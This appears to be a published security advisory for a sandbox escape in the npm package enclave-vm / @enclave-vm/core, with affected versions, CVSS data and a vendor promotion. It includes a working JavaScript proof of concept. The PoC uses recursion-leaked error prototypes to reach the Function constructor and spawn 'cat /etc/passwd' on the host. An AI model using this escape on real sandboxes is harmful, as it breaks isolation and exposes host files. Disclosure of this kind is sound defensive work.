Medium

Sandbox escape via infinite recursion and error objects

Disclosed: 05.02.2026
Updated: 11.10.2026 10:22

Note: The npm package has moved to @enclave-vm/core (formerly enclave-vm).
All fixed versions and guidance refer to @enclave-vm/core.

Summary

The existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references.

Details

There is a bug in Node.js (https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf) that makes the vm module leak host references inside the vm module in case of infinite recursion. An attacker can exploit these to escape the sandbox.

PoC

The following on was tested on Node.js v24.12.0 and enclave-vm 2.7.0.

import { Enclave } from 'enclave-vm';

// Create enclave with a tool handler
const enclave = new Enclave({
  timeout: 5000,
  maxToolCalls: 10,
  maxIterations: 1000,
  toolHandler: async (toolName, args) => {
    // Your tool execution logic
    return { success: true, data: `Called ${toolName}` };
  },
});

// Execute AgentScript code
const result = await enclave.run(`
let res = null, rootProt = null;
let a = () =>{
try {
  a();
} catch (e) {
  rootProt = e[["__proto__"]][["__proto__"]][["__proto__"]];
  res=e.stack
}
}
a();
rootProt[["foo"]] = rootProt[["toString"]][["constructor"]]  
rootProt[["foo"]]("let options = {file: 'cat', args: [null,'/etc/passwd'], envPairs: [], stdio: [{ type: 'pipe', readable: true, writable: false },{ type: 'pipe', readable: false, writable: true },{ type: 'pipe', readable: false, writable: true } ]}; console.log(process.binding('spawn_sync').spawn(options).output[1].toString())")();
`);

Impact

Sandbox escape and potential other escalations on FrontMCP/AgentFront/other Frontegg products.

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
npm package	enclave-vm	<= 2.7.0	no fix
npm package	@enclave-vm/core	< 2.10.1	2.10.1

References

CVSS score -

CVSS vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H
Weakness (CWE): CWE-835
Platform: npm
Package: enclave-vm, @enclave-vm/core
Disclosed: 05.02.2026
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-x39w-8vm5-5m3p - CC BY 4.0

Vulnerability history: @enclave-vm/core

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries: 2
First → latest: 02.2026 02.2026
Without a fix: 0
Exploited in attacks: 0

Severity breakdown

Critical 1
Medium 1

Disclosures per year

2026: 2

25.02.2026

@enclave-vm/core is vulnerable to Sandbox Escape

Critical · 10.0 CVE-2026-27597 < 2.11.1 2.11.1
05.02.2026

Sandbox escape via infinite recursion and error objects this entry

Medium CVE-2026-25533 < 2.10.1 2.10.1

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application